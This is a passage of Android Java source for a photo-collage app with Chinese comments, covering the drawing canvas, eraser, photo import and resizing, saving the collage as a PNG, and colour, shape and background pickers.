builder.setTitle("清空畫布");
builder.setMessage("確定要清除!!");
// Add the buttons
builder.setPositiveButton("確定", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User clicked OK button
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
canvasSave.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
if (photo == true) {
canvasSave.drawBitmap(tempImage, drawMatrix, null);
//再次畫上編輯前的照片樣子
Img.setImageBitmap(saveBitmap);
}
else if(draw == true)
{
img.setImageBitmap(saveBitmap);
}
mActions.clear();
cutBigX = 0;
cutBigY = 0;
cutSmallX = 10000;
cutSmallY = 10000;
}
});
builder.setNegativeButton("取消", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User cancelled the dialog
}
});
builder.create().show();
}
});
//endregion
//region 開啟橡皮擦
eraser.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// TODO 自動產生的方法 Stub
//eraserChoose();
setType(ActionType.Eraser);
choosecolorlinr.setVisibility(View.GONE);
paintSizelinr.setVisibility(View.GONE);
chooseshape.setVisibility(View.GONE);
if (eraserSizelinr.getVisibility() == View.VISIBLE)
eraserSizelinr.setVisibility(View.GONE);
else
eraserSizelinr.setVisibility(View.VISIBLE);
}
});
//endregion
//region 橡皮擦seekBar
eraserSize.setOnSeekBarChangeListener(new OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress,
boolean fromUser) {
// TODO 自動產生的方法 Stub
//setType(ActionType.Eraser);
setSize(progress);
Bitmap paintSizeBitmap = Bitmap.createBitmap(erasersize.getWidth(), erasersize.getHeight(), Bitmap.Config.ARGB_8888);
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
//不斷的清除bitmap才不會造成縮小時圖情看不出變化
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
paintSizeCanvas.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
//設定畫筆
Paint seekBarShowPaintSize = new Paint();
seekBarShowPaintSize.setAntiAlias(true);
seekBarShowPaintSize.setColor(Color.parseColor("#FFFFFF"));
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
seekBarShowPaintSize.setStrokeWidth(progress);
paintSizeCanvas.drawCircle(erasersize.getWidth() / 2, erasersize.getHeight() / 2, progress / 2, seekBarShowPaintSize);
erasersize.setImageBitmap(paintSizeBitmap);
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
// TODO 自動產生的方法 Stub
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
// TODO 自動產生的方法 Stub
}
});
//endregion
//region 結束畫布
drawover.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
drawover.setEnabled(false);
shapeBtn.setEnabled(false);
eraser.setEnabled(false);
colorBtn.setEnabled(false);
undoBtn.setEnabled(false);
choosecolorlinr.setVisibility(View.GONE);
chooseshape.setVisibility(View.GONE);
paintSizelinr.setVisibility(View.GONE);
eraserSizelinr.setVisibility(View.GONE);
drawtool.setVisibility(View.GONE);
maintool.setVisibility(View.VISIBLE);
Log.d("smallX", String.valueOf(smallX));
Log.d("smallY", String.valueOf(smallY));
Log.d("BigX", String.valueOf(BigX));
Log.d("BigY", String.valueOf(BigY));
//判斷圖片片是否為空
Boolean clean = true;
for (int x = 0; x < saveBitmap.getWidth(); x++) {
for (int y = 0; y < saveBitmap.getHeight(); y++) {
if (saveBitmap.getPixel(x, y) != 0) {
clean = false;
}
}
}
//如果為空圖片
if (clean == true)
// if (cutBigX == 0 && cutBigY == 0 && cutSmallX == 10000 && cutSmallY == 10000)
{
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(countpicture - 1);
viewGroup.removeView(currentView);
img.setOnTouchListener(null);
countpicture--;
choosepicture = 0;
backimage.setZ(0);
makeTextAndShow(getActivity(), "結束畫布模式畫布為空", android.widget.Toast.LENGTH_SHORT);
} else {
//如果為畫畫模式
if (draw == true) {
int leftX, rightX, topY, bottomY;
//切割值
if (undoCutXY[undoCutXYIndex1 - 1][0] - currentSize - 100 < 0)
leftX = 0;
else
leftX = (int) undoCutXY[undoCutXYIndex1 - 1][0] - currentSize - 100;
if (undoCutXY[undoCutXYIndex1 - 1][2] - currentSize - 100 < 0)
topY = 0;
else
topY = (int) undoCutXY[undoCutXYIndex1 - 1][2] - currentSize - 100;
if (undoCutXY[undoCutXYIndex1 - 1][1] + currentSize + 100 > saveBitmap.getWidth())
rightX = saveBitmap.getWidth() - leftX;
else {
rightX = (int) (undoCutXY[undoCutXYIndex1 - 1][1] - undoCutXY[undoCutXYIndex1 - 1][0] + 2 * currentSize);
rightX += 100;
}
if (undoCutXY[undoCutXYIndex1 - 1][3] + currentSize + 100 > saveBitmap.getHeight())
bottomY = saveBitmap.getHeight() - topY;
else {
bottomY = (int) (undoCutXY[undoCutXYIndex1 - 1][3] - undoCutXY[undoCutXYIndex1 - 1][2] + 2 * currentSize);
bottomY += 100;
}
/*Log.d("imgW",String.valueOf(saveBitmap.getWidth()));
Log.d("imgH",String.valueOf(saveBitmap.getHeight()));*/
// Log.d("bottomy",String.valueOf(topY));
// Log.d("rightX",String.valueOf(leftX));
//將saveBitmap裡面的內容存到另一個bitmap以免saveBitmap被覆蓋時出錯
Bitmap drawOverBitmap = Bitmap.createBitmap(saveBitmap
, leftX
, topY
, rightX
, bottomY
, null, false);
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(countpicture - 1);
Relativelay.removeView(currentView);
//創建一個可以分發事件的imageview用來判斷是否有摸到透明的地方
img = new img(getActivity(), drawOverBitmap, 0);
img.setId(countpicture - 1);
img.setZ(countpicture - 1);
img.setX(leftX);
img.setY(topY);
img.setImageBitmap(drawOverBitmap);
Relativelay.addView(img);
img.setOnTouchListener(null);
img.setOnTouchListener(new MultiTouchListener());
img.setOnClickListener(imgOnClickListener);
//countpicture++;
makeTextAndShow(getActivity(), "結束畫布模式", android.widget.Toast.LENGTH_SHORT);
}
//如果為編輯照片模式
else if (photo == true) {
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(choosepicture);
//原本照片後的ID都往前移1
for (int i = choosepicture + 1; i < viewGroup.getChildCount(); i++) {
viewGroup.getChildAt(i).setId(i - 1);
}
//currentView.setDrawingCacheEnabled(false);
//須將原本的照片刪掉
Relativelay.removeView(currentView);
//將saveBitmap裡面的內容存到另一個bitmap以免saveBitmap被覆蓋時出錯
Bitmap overBitmap = Bitmap.createBitmap(saveBitmap.getWidth() / 2, saveBitmap.getHeight() / 2, Bitmap.Config.ARGB_8888);
Canvas overCanvas = new Canvas(overBitmap);
float a = 0.5f, b = 0.5f;
Matrix ma = new Matrix();
ma.postScale(a, b);
overCanvas.setDrawFilter(new PaintFlagsDrawFilter(0, Paint.ANTI_ALIAS_FLAG | Paint.FILTER_BITMAP_FLAG));
overCanvas.drawBitmap(saveBitmap, ma, null);
//再把畫好的照片的imageview刪掉因為還要再創一個能分發事件的imageview
currentView = viewGroup.getChildAt(countpicture - 2);
Relativelay.removeView(currentView);
ImageView pictureFinImg = new img(getActivity(), overBitmap, 0);
pictureFinImg.setId(countpicture - 2);
pictureFinImg.setZ(choosepictureZ);
pictureFinImg.setX(backimage.getWidth() / 2 - backimage.getWidth() / 4);
pictureFinImg.setY(backimage.getHeight() / 2 - backimage.getHeight() / 4);
pictureFinImg.setImageBitmap(overBitmap);
Relativelay.addView(pictureFinImg);
pictureFinImg.setOnTouchListener(null);
pictureFinImg.setOnTouchListener(new MultiTouchListener());
pictureFinImg.setOnClickListener(imgOnClickListener);
countpicture--;
makeTextAndShow(getActivity(), "結束畫布模式", android.widget.Toast.LENGTH_SHORT);
}
}
backimage.setZ(0);
drawBitmap = null;
saveBitmap = null;
photo = false;
draw = false;
// cutBigX=0;
// cutBigY=0;
// cutSmallX=10000;
// cutSmallY=10000;
}
});
//endregion
//region 儲存圖片至SD卡
SaveButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
choosebackground.setVisibility(View.GONE);
ViewGroup viewGroup = Relativelay;
if (lastView != null) {
lastView.setAlpha(1f);
}
if (viewGroup.getChildCount() != 1) {
for (int i = 1; i < viewGroup.getChildCount(); i++) {
//靠標籤取得要儲存的imageview
img = (img) viewGroup.getChildAt(i);
//設定imageview背景為透明
img.setBackgroundColor(getResources().getColor(R.color.alpha));
}
HandlerThread save = new HandlerThread("name");
save.start();
mThreadHandler = new Handler(save.getLooper());
mThreadHandler.post(saveRun);
progressDialog = new ProgressDialog(getActivity());
progressDialog.requestWindowFeature(Window.FEATURE_PROGRESS);
progressDialog.setTitle("建立拼貼");
progressDialog.setMessage("請稍後...");
progressDialog.setCanceledOnTouchOutside(false);
progressDialog.setIcon(R.drawable.progress);
progressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
progressDialog.show();
} else {
//Toast.makeText(CollageActivity.this, "目前沒有圖片", Toast.LENGTH_LONG).show();
makeTextAndShow(getActivity(), "目前沒有圖片", android.widget.Toast.LENGTH_SHORT);
}
}
});
//endregion
//region 選擇照片
selectImgBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//跳轉至最終的選擇圖片頁面
choosebackground.setVisibility(View.GONE);
Intent intent = new Intent(getActivity(), ImagePickerActivity.class);
startActivity(intent);
}
});
//endregion
//region 刪除事件
DeleteButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
choosebackground.setVisibility(View.GONE);
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(choosepicture);
if (choosepicture != 0) {
//將目前選去要刪除的圖片的後面每一張圖片的ID都往前移一個
for (int i = choosepicture + 1; i < viewGroup.getChildCount(); i++) {
viewGroup.getChildAt(i).setId(i - 1);
}
//將目前選擇要刪除的照片比他大的Z都要減1
for (int z = 1; z < viewGroup.getChildCount(); z++) {
if ((int) currentView.getZ() < (int) viewGroup.getChildAt(z).getZ()) {
viewGroup.getChildAt(z).setZ((int) viewGroup.getChildAt(z).getZ() - 1);
}
}
//Debug
int picturenum = currentView.getId();
String tag = "Deletechoosepicture";
Log.d(tag, Integer.toString(picturenum));
//刪除所選的imageview
viewGroup.removeView(currentView);
//設定照片的ID要減1
countpicture--;
//設定旗標如果為false不能刪除照片
choosepicture = 0;
} else
makeTextAndShow(getActivity(), "沒有選擇圖片", android.widget.Toast.LENGTH_SHORT);
}
});
//endregion
//region 全部清空
DeleteAllButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
choosebackground.setVisibility(View.GONE);
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setTitle("清空拼貼");
builder.setMessage("確定要清除!!");
// Add the buttons
builder.setPositiveButton("確定", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User clicked OK button
ViewGroup viewGroup = Relativelay;
if (viewGroup.getChildCount() > 1) {
for (int i = 1, count = viewGroup.getChildCount(); i < count; i++) {
viewGroup.removeView(viewGroup.getChildAt(1));
}
//設定照片的ID要減1
countpicture = 1;
//設定旗標如果為false不能刪除照片
choosepicture = 0;
makeTextAndShow(getActivity(), "清空", android.widget.Toast.LENGTH_SHORT);
} else
makeTextAndShow(getActivity(), "沒有圖片", android.widget.Toast.LENGTH_SHORT);
}
});
builder.setNegativeButton("取消", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User cancelled the dialog
}
});
builder.create().show();
}
});
//endregion
}
//endregion
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
thisView = inflater.inflate(R.layout.activity_collage, container, false);
initVariables();
initListener();
//region 播放音樂(可以重覆播放)
// try {
// mPlayer = MediaPlayer.create(this, R.raw.backgroundmusic);
// mPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
//
// mPlayer.setLooping(true);
// //重複播放
//
// //mPlayer.prepare();
// //特別使用註解的方式, 是為了提醒大家, 由於我們先前使用create method建立MediaPlayer
// //create method會自動的call prepare(), 所以我們再call prepare() method會發生 prepareAsync called in state 8的錯誤
//
// } catch (IllegalStateException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// }
//endregion
return thisView;
}
//region 加入照片
@Override
public void onResume() {
super.onResume();
int code = getActivity().getIntent().getIntExtra("code", -1);
Log.d("code", Integer.toString(code));
if (code != 100) {
return;
}
ArrayList<String> paths = getActivity().getIntent().getStringArrayListExtra("paths");
for (String path : paths) {
//把照片加入陣列中
//imagePathList.add(path);
ByteArrayOutputStream baos = null ;
baos = new ByteArrayOutputStream();
Bitmap bitmap = BitmapFactory.decodeFile(path);
//bitmap.compress(Bitmap.CompressFormat.JPEG, 80, baos);
File imgFile = new File(path);
// 圖片壓縮
tempBitmap = ScalePicEx(imgFile.getAbsolutePath(), 700, 900 );
//使用createBitmap畫入照片,用於後面判斷圖片大小
//tempBitmap = createBitmap(myBitmap);
//創建一個新的imageview
//img = new ImageView(getActivity());
img = new img(getActivity(), tempBitmap, 0);
//為這個imageview設定ID
img.setId(countpicture);
img.setZ(countpicture);
Log.d("ADD-PHOTO", Integer.toString(countpicture));
//使用Glide方法把圖片顯示在imagevieww上
Glide.with(getActivity())
//圖片來源
.load(new File(path))
//imageview大小
//.resize(tempBitmap.getWidth(),tempBitmap.getHeight())
.override(tempBitmap.getWidth(), tempBitmap.getHeight())
//照片載入時所顯示圖片
.placeholder(R.drawable.passage_of_time_32)
//照片載入錯誤時所顯示圖片
.error(R.drawable.no)
//所要放到的imageview
.into(img);
//設定要放入RelatriveLayout時的大小,如妥超過螢幕大小會自動縮小
RelativeLayout.LayoutParams lp1;
if (tempBitmap.getWidth() > Relativelay.getWidth() || tempBitmap.getHeight() > Relativelay.getHeight()) {
lp1 = new RelativeLayout.LayoutParams(tempBitmap.getWidth() / 3, tempBitmap.getHeight() / 3);
} else {
lp1 = new RelativeLayout.LayoutParams(tempBitmap.getWidth(),tempBitmap.getHeight());
}
//設定圖片加入時的位置
lp1.leftMargin = addViewLeft;
lp1.topMargin = addViewTop;
//觸控時監聽
img.setOnTouchListener(new MultiTouchListener());
//imageview點擊事件
img.setOnClickListener(imgOnClickListener);
//把照片加入RelativeLayout中,座標位置為0,0
Relativelay.addView(img,lp1);
//照片ID數加1
countpicture++;
//圖片加入位置計算
addViewTop += 150;
if (addViewTop > 800) {
addViewTop = 50;
addViewLeft += 300;
}
if (addViewLeft > 650) {
addViewLeft = 150;
}
}
getActivity().getIntent().removeExtra("code");
}
//endregion
//region 自訂氣泡訊息,不會與上一個訊息衝突
private static void makeTextAndShow(final Context context, final String text, final int duration) {
if (toast == null) {
//如果還沒有用過makeText方法,才使用
toast = android.widget.Toast.makeText(context, text, duration);
} else {
toast.setText(text);
toast.setDuration(duration);
}
toast.show();
}
//endregion
//region 取得目前時間
public String getCurrentTime(String format) {
// 先行定義時間格式("yyyy/MM/dd HH:mm:ss")
SimpleDateFormat sdf = new SimpleDateFormat(format);
// 取得現在時間
Date dt = new Date(System.currentTimeMillis());
return sdf.format(dt);
}
//endregion
//region ImageView 點擊事件
private OnClickListener imgOnClickListener = new OnClickListener() {
public void onClick(View v) {
//取得所選照片的ID
//取得照片ID
choosepicture = v.getId();
//取得照片Z方便之後設定用
choosepictureZ = (int) v.getZ();
Log.d("Z", String.valueOf(v.getZ()));
ViewGroup viewGroup = Relativelay;
if (lastView != null) {
lastView.setBackgroundColor(getResources().getColor(R.color.alpha));
lastView.setAlpha(1f);
//ViewGroup viewGroup = Relativelay;
// if(lastView!=v)
// {
// for(int i = 1; i < viewGroup.getChildCount(); i++)
// {
// //靠標籤取得要儲存的imageview
// img = (ImageView) viewGroup.getChildAt(i);
// if(img.getZ()>=v.getZ())
// {
// if(img.getZ()==1)
// img.setZ(1);
// else
// img.setZ(img.getZ()-1);
// }
// }
// }
}
//v.setBackgroundResource(R.drawable.shape_image_border);
//設定透明度
v.setAlpha(0.9f);
//v.setZ(countpicture-1);
//設定此imageview為選擇新imageview時變成上一個imageview
lastView = v;
//Debug
String tag = "choosepicture";
Log.d( tag, Integer.toString(choosepicture));
}
};
//endregion
//region 多執行緒儲存
private Runnable saveRun = new Runnable() {
@Override
public void run() {
// TODO 自動產生的方法 Stub
Relativelay.setDrawingCacheEnabled(true);
Relativelay.buildDrawingCache();
Bitmap relatsave = Relativelay.getDrawingCache();
updateHandleMessage("value","產生暫存");
//取得緩存圖片的Bitmap檔
Bitmap savebitmap=relatsave ;
if (Environment.getExternalStorageState()//確定SD卡可讀寫
.equals(Environment.MEDIA_MOUNTED))
{
// 取得外部儲存裝置路徑
File sdFile = android.os.Environment.getExternalStorageDirectory();
//要建立資料夾的路徑
String path = sdFile.getPath() + File.separator + "PhotoCollage";
dirFile = new File(path);
updateHandleMessage("value","判斷資料夾是否存在");
if(!dirFile.exists()){//如果資料夾不存在
dirFile.mkdir();//建立資料夾
}
}
// 開啟檔案
File file = new File(dirFile, "PhotoCollage_"+getCurrentTime("yyyyMMddHHmmssSS")+".PNG");
if(savebitmap!=null)
{
try {
// 開啟檔案串流
OutputStream outStream = new FileOutputStream(file);
// 將 Bitmap壓縮成指定格式的圖片並寫入檔案串流
//compress中間數字為壓縮率100表示不壓縮 90表示壓縮10%以此類推
updateHandleMessage("value", "儲存圖片");
savebitmap.compress(Bitmap.CompressFormat.PNG, 20, outStream);
outStream.flush();
outStream.close();
Relativelay.destroyDrawingCache();
updateHandleMessage("value", "圖片產生完成");
Toast.makeText(getActivity(), "PhotoCollage_" + getCurrentTime("yyyyMMddHHmmssSS"), Toast.LENGTH_LONG).show();
}
catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
Toast.makeText(getActivity(), e.toString(), Toast.LENGTH_LONG).show();
}
catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
Toast.makeText(getActivity(), e.toString(), Toast.LENGTH_LONG).show();
}
}
else
{
Toast.makeText(getActivity(), "目前沒有圖片", Toast.LENGTH_LONG).show();
}
}
};
protected void updateHandleMessage(String key, String value) {
Message msg = new Message();;
Bundle data = new Bundle();
data.putString(key,value);
msg.setData(data);
handler.sendMessage(msg);
}
//endregion
//region 接收上傳檔案進度
private Handler handler = new Handler() {
@Override
public void handleMessage(Message msg) {
Bundle data = msg.getData();
String value = data.getString("value");
progressDialog.setMessage(value);
if (value.equals("圖片產生完成")) {
progressDialog.dismiss();
// // 切換預覽頁面
// Intent it = new Intent();
// it.setClass(getActivity(), CollageActivity.class);
// startActivity(it);
}
}
};
//endregion
//region 圖片轉換大小
public Bitmap ScalePicEx(String path, int height, int width) {
BitmapFactory.Options opts = null;
opts = new BitmapFactory.Options();
opts.inJustDecodeBounds = true;
BitmapFactory.decodeFile(path, opts);
// 計算圖片縮放比例
final int minSideLength = Math.min(width, height);
opts.inSampleSize = computeSampleSize(opts, minSideLength, width
* height);
opts.inJustDecodeBounds = false;
opts.inInputShareable = true;
opts.inPurgeable = true;
return BitmapFactory.decodeFile(path, opts);
}
public static int computeSampleSize(BitmapFactory.Options options,
int minSideLength, int maxNumOfPixels) {
int initialSize = computeInitialSampleSize(options, minSideLength,
maxNumOfPixels);
int roundedSize;
if (initialSize <= 8) {
roundedSize = 1;
while (roundedSize < initialSize) {
roundedSize <<= 1;
}
} else {
roundedSize = (initialSize + 7) / 8 * 8;
}
return roundedSize;
}
private static int computeInitialSampleSize(BitmapFactory.Options options,
int minSideLength, int maxNumOfPixels) {
double w = options.outWidth;
double h = options.outHeight;
int lowerBound = (maxNumOfPixels == -1) ? 1 : (int) Math.ceil(Math
.sqrt(w * h / maxNumOfPixels));
int upperBound = (minSideLength == -1) ? 128 : (int) Math.min(
Math.floor(w / minSideLength), Math.floor(h / minSideLength));
if (upperBound < lowerBound) {
// return the larger one when there is no overlapping zone.
return lowerBound;
}
if ((maxNumOfPixels == -1) && (minSideLength == -1)) {
return 1;
} else if (minSideLength == -1) {
return lowerBound;
} else {
return upperBound;
}
}
//endregion
//region 畫筆觸摸事件
private OnTouchListener DrawOnTouchListener = new OnTouchListener()
{
@Override
public boolean onTouch(View v, MotionEvent event) {
// TODO 自動產生的方法 Stub
switch (event.getAction()) {
// 用户按下动作
case MotionEvent.ACTION_DOWN:
// 紀錄開始触摸的点的坐标
startX = event.getX();
startY = event.getY();
//裁切判斷
smallX = startX;
smallY = startY;
BigX = startX;
BigY = startY;
setCurAction(startX, startY);
if(type == ActionType.Point)
{
curAction.draw(canvasDraw);
}
break;
// 用戶手指在螢幕上移動
case MotionEvent.ACTION_MOVE:
// 记录移动位置的点的坐标
float stopX = event.getX();
float stopY = event.getY();
if(BigX < stopX)
BigX = stopX;
if(BigY < stopY)
BigY = stopY;
if(smallX > stopX)
smallX = stopX;
if(smallY > stopY)
smallY = stopY;
//Log.d("stopX",String.valueOf(stopX));
//清空上一個canvas避免殘影
if(canvasDraw!=null){
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
canvasDraw.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
}
//將上一個畫好的bitmap先畫到canvasdraw避免繪製新的bitmap舊的會暫時消失
canvasDraw.drawBitmap(saveBitmap, 0, 0, null);
//傳移動值
curAction.move(stopX, stopY);
//開始畫畫
curAction.draw(canvasDraw);
// 把图片展示到ImageView中
((ImageView) v).setImageBitmap(drawBitmap);
break;
case MotionEvent.ACTION_UP:
//把畫好的圖存到canvasSave跟canvasDraw分開
curAction.draw(canvasSave);
//顯示saveBitmap
((ImageView) v).setImageBitmap(saveBitmap);
mActions.add(curAction);
if(cutBigX < BigX)
cutBigX = BigX;
if(cutBigY < BigY )
cutBigY = BigY;
if(cutSmallX > smallX)
cutSmallX = smallX;
if(cutSmallY > smallY)
cutSmallY = smallY;
undoCutXY[undoCutXYIndex1][undoCutXYIndex2] = cutSmallX;
undoCutXY[undoCutXYIndex1][undoCutXYIndex2+1] = cutBigX;
undoCutXY[undoCutXYIndex1][undoCutXYIndex2+2] = cutSmallY;
undoCutXY[undoCutXYIndex1][undoCutXYIndex2+3] = cutBigY;
undoCutXYIndex1++;
undoCutXYIndex2=0;
// Log.d("cutsmallX",String.valueOf(cutSmallX));
// Log.d("cutsmallY",String.valueOf(cutSmallY));
// Log.d("cutBigX",String.valueOf(cutBigX));
// Log.d("cutBigY",String.valueOf(cutBigY));
break;
default:
break;
}
return true;
}
};
//endregion
//region 設定畫筆資訊
public void setCurAction(float x, float y) {
switch (type) {
case Point:
curAction = new MyPoint(x, y, currentSize, currentColor);
break;
case Path:
curAction = new MyPath(x, y, currentSize, currentColor);
break;
case Line:
curAction = new MyLine(x, y, currentSize, currentColor);
break;
case Rect:
curAction = new MyRect(x, y, currentSize, currentColor);
break;
case Circle:
curAction = new MyCircle(x, y, currentSize, currentColor);
break;
case FillecRect:
curAction = new MyFillRect(x, y, currentSize, currentColor);
break;
case FilledCircle:
curAction = new MyFillCircle(x, y, currentSize, currentColor);
break;
case Eraser:
curAction = new Myeraser(x, y, currentSize, currentColor);
break;
case Love:
curAction = new MyLove(x, y, currentSize, currentColor);
default:
break;
}
}
//endregion
/**
* 畫筆形狀定義
*/
public enum ActionType {
Point, Path, Line, Rect, Circle, FillecRect, FilledCircle, Eraser, Love
}
/**
* 設置畫筆的颜色
*/
public void setColor(int color) {
// currentColor = Color.parseColor(color);
currentColor = color;
}
/**
* 設置畫筆的粗细
*/
public void setSize(int size) {
currentSize = size;
}
/**
* 设置当前画笔的形状
*/
public void setType(ActionType type) {
this.type = type;
}
//region 從linearlayout中偵測我按的是哪一個顏色
public View.OnClickListener colorchoose = new View.OnClickListener() {
@Override
public void onClick(View view) {
// TODO 自動產生的方法 Stub
switch (view.getId()) {
case R.id.colorRed:
setColor(getResources().getColor(R.color.md_red_500));
break;
case R.id.colorGreen:
setColor(getResources().getColor(R.color.md_green_500));
break;
case R.id.colorBlue:
setColor(getResources().getColor(R.color.md_blue_500));
break;
case R.id.colorPurple:
setColor(getResources().getColor(R.color.md_purple_500));
break;
case R.id.colorYellow:
setColor(getResources().getColor(R.color.md_yellow_500));
break;
case R.id.colorOrange:
setColor(getResources().getColor(R.color.md_orange_500));
break;
case R.id.colorBrown:
setColor(getResources().getColor(R.color.md_brown_500));
break;
case R.id.colorGray:
setColor(getResources().getColor(R.color.md_grey_500));
break;
case R.id.colorBlack:
setColor(getResources().getColor(R.color.md_black_1000));
break;
case R.id.palette:
//調色盤
ColorPickerDialog dialog = new ColorPickerDialog(getActivity(), currentColor, "Choose Color",
new ColorPickerDialog.OnColorChangedListener() {
public void colorChanged(int color2) {
//set your color variable
setColor(color2);
if (paintSizelinr.getVisibility() == View.VISIBLE) {
//選完顏色同時也要把畫筆大小的顏色換成所選的
Bitmap paintSizeBitmap = Bitmap.createBitmap(paintImgSize.getWidth(), paintImgSize.getHeight(), Bitmap.Config.ARGB_8888);
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
paintSizeCanvas.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
setSize(choosePaintSize);
Paint seekBarShowPaintSize = new Paint();
seekBarShowPaintSize.setAntiAlias(true);
seekBarShowPaintSize.setColor(currentColor);
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
seekBarShowPaintSize.setStrokeWidth(choosePaintSize);
paintSizeCanvas.drawCircle(paintImgSize.getWidth() / 2, paintImgSize.getHeight() / 2, choosePaintSize / 2, seekBarShowPaintSize);
paintImgSize.setImageBitmap(paintSizeBitmap);
}
}
});
dialog.show();
break;
default:
break;
}
if (paintSizelinr.getVisibility() == View.VISIBLE) {
//選完顏色同時也要把畫筆大小的顏色換成所選的
Bitmap paintSizeBitmap = Bitmap.createBitmap(paintImgSize.getWidth(), paintImgSize.getHeight(), Bitmap.Config.ARGB_8888);
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
paintSizeCanvas.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
setSize(choosePaintSize);
Paint seekBarShowPaintSize = new Paint();
seekBarShowPaintSize.setAntiAlias(true);
seekBarShowPaintSize.setColor(currentColor);
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
seekBarShowPaintSize.setStrokeWidth(choosePaintSize);
paintSizeCanvas.drawCircle(paintImgSize.getWidth() / 2, paintImgSize.getHeight() / 2, choosePaintSize / 2, seekBarShowPaintSize);
paintImgSize.setImageBitmap(paintSizeBitmap);
}
}
};
//endregion
//region 從linearlayout中偵測我按的是哪一個圖形
public View.OnClickListener shapechoose = new View.OnClickListener() {
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.point:
setType(ActionType.Point);
break;
case R.id.path:
setType(ActionType.Path);
break;
case R.id.line:
setType(ActionType.Line);
break;
case R.id.rectangle:
setType(ActionType.Rect);
break;
case R.id.circle:
setType(ActionType.Circle);
break;
case R.id.rectanglefall:
setType(ActionType.FillecRect);
break;
case R.id.circlefall:
setType(ActionType.FilledCircle);
break;
case R.id.love:
setType(ActionType.Love);
default:
break;
}
}
};
//endregion
//region 偵測要設定那個背景
public View.OnClickListener backGroundChange = new View.OnClickListener() {
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.background:
//backimage.setBackground(getResources().getDrawable(R.drawable.background));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background));
break;
case R.id.background1:
//backimage.setBackground(getResources().getDrawable(R.drawable.background1));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background1));
break;
case R.id.background2:
//backimage.setBackground(getResources().getDrawable(R.drawable.background2));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background2));
break;
case R.id.background3:
//backimage.setBackground(getResources().getDrawable(R.drawable.background3));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background3));
break;
case R.id.background4:
//backimage.setBackground(getResources().getDrawable(R.drawable.background4));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background4));
break;
case R.id.background5:
//backimage.setBackground(getResources().getDrawable(R.drawable.background5));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background5));
break;
case R.id.background6:
//backimage.setBackground(getResources().getDrawable(R.drawable.background6));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background6));
break;
case R.id.background7:
//backimage.setBackground(getResources().getDrawable(R.drawable.background7));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background7));
break;
case R.id.background8:
//backimage.setBackground(getResources().getDrawable(R.drawable.background8));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background8));
break;
case R.id.background9:
//backimage.setBackground(getResources().getDrawable(R.drawable.background9));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background9));
break;
case R.id.background10:
//backimage.setBackground(getResources().getDrawable(R.drawable.background10));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background10));
break;
case R.id.background11:
//backimage.setBackground(getResources().getDrawable(R.drawable.background11));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background11));
break;
case R.id.background12:
//backimage.setBackground(getResources().getDrawable(R.drawable.background12));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background12));
break;
case R.id.background13:
//backimage.setBackground(getResources().getDrawable(R.drawable.background13));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background13));
break;
case R.id.background14:
//backimage.setBackground(getResources().getDrawable(R.drawable.background14));
